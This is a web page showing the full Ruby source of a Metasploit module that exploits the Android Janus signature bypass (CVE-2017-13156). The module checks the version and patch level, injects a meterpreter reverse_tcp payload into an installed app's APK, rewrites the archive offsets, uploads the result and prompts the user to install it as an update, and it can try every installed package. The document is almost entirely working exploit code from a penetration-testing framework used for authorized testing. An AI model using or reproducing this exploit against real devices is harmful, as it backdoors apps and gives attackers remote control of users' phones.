Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/local/janus.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking78include Msf::Exploit::FileDropper9include Msf::Post::File10include Msf::Post::Android::Priv11include Msf::Payload::Android12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => "Android Janus APK Signature bypass",20'Description' => %q{21This module exploits CVE-2017-13156 in Android to install a payload into another22application. The payload APK will have the same signature and can be installed23as an update, preserving the existing data.24The vulnerability was fixed in the 5th December 2017 security patch, and was25additionally fixed by the APK Signature scheme v2, so only APKs signed with26the v1 scheme are vulnerable.27Payload handler is disabled, and a multi/handler must be started first.28},29'Author' => [30'GuardSquare', # discovery31'V-E-O', # proof of concept32'timwr', # metasploit module33'h00die', # metasploit module34],35'References' => [36[ 'CVE', '2017-13156' ],37[ 'URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures' ],38[ 'URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156' ],39],40'DisclosureDate' => '2017-07-31',41'SessionTypes' => [ 'meterpreter' ],42'Platform' => [ 'android' ],43'Arch' => [ ARCH_DALVIK ],44'Targets' => [ [ 'Automatic', {} ] ],45'DefaultOptions' => {46'PAYLOAD' => 'android/meterpreter/reverse_tcp',47'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission48'DisablePayloadHandler' => true,49},50'DefaultTarget' => 0,51'Notes' => {52'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],53'Reliability' => [],54'Stability' => [SERVICE_RESOURCE_LOSS], # ZTE youtube app won't start anymore55},56'Compat' => {57'Meterpreter' => {58'Commands' => %w[59appapi_app_install60]61}62}63}64)65)66register_options([67OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),68])69end7071def check72os = cmd_exec("getprop ro.build.version.release")73unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))74vprint_error "Android version #{os} is not vulnerable."75return CheckCode::Safe76end77vprint_good "Android version #{os} appears to be vulnerable."7879patch = cmd_exec('getprop ro.build.version.security_patch')80if patch.empty?81print_status 'Unable to determine patch level. Pre-5.0 this is unaccessible.'82elsif patch > '2017-12-05'83vprint_error "Android security patch level #{patch} is patched."84return CheckCode::Safe85else86vprint_good "Android security patch level #{patch} is vulnerable"87end8889CheckCode::Appears90end9192def exploit93def infect(apkfile)94unless apkfile.start_with?("package:")95fail_with Failure::BadConfig, 'Unable to locate app apk'96end97apkfile = apkfile[8..-1]98print_status "Downloading APK: #{apkfile}"99apk_data = read_file(apkfile)100101begin102# Create an apk with the payload injected103apk_backdoor = ::Msf::Payload::Apk.new104apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)105106# Extract the classes.dex107dex_data = ''108Zip::File.open_buffer(apk_zip) do |zipfile|109dex_data = zipfile.read("classes.dex")110end111dex_size = dex_data.length112113# Fix the original APKs zip file code directory114cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")115cd_start_addr = apk_data[cd_end_addr + 16, cd_end_addr + 20].unpack("V")[0]116apk_data[cd_end_addr + 16...cd_end_addr + 20] = [ cd_start_addr + dex_size ].pack("V")117pos = cd_start_addr118while pos && pos < cd_end_addr119offset = apk_data[pos + 42, pos + 46].unpack("V")[0]120apk_data[pos + 42...pos + 46] = [ offset + dex_size ].pack("V")121pos = apk_data.index("\x50\x4b\x01\x02", pos + 46)122end123124# Prepend the new classes.dex to the apk125out_data = dex_data + apk_data126out_data[32...36] = [ out_data.length ].pack("V")127out_data = fix_dex_header(out_data)128129out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric 6}.apk"130print_status "Uploading APK: #{out_apk}"131write_file(out_apk, out_data)132register_file_for_cleanup(out_apk)133print_status "APK uploaded"134135# Prompt the user to update the APK136session.appapi.app_install(out_apk)137print_status "User should now have a prompt to install an updated version of the app"138true139rescue => e140print_error e.to_s141false142end143end144145if datastore["PACKAGE"] == 'ALL'146vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')147apkfiles = []148all = cmd_exec("pm list packages").split("\n")149c = 1150all.each do |package|151package = package.split(':')[1]152vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")153c += 1154next if ['com.metasploit.stage', # avoid injecting into ourself155].include? package # This was left on purpose to be expanded as need be for testing156157result = infect(cmd_exec("pm path #{package}"))158break if result159end160else161infect(cmd_exec("pm path #{datastore["PACKAGE"]}"))162end163end164end165166167